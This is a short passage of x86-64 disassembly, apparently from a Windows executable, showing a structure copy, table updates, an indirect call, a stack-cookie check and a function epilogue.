movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14055ffc0]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x55ffd0], r15
mov qword [rcx + rax*8 + 0x5602f0], r10
add rax, r13
mov qword [0x14055ffc0], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [r12], rbx
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.140165ad0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret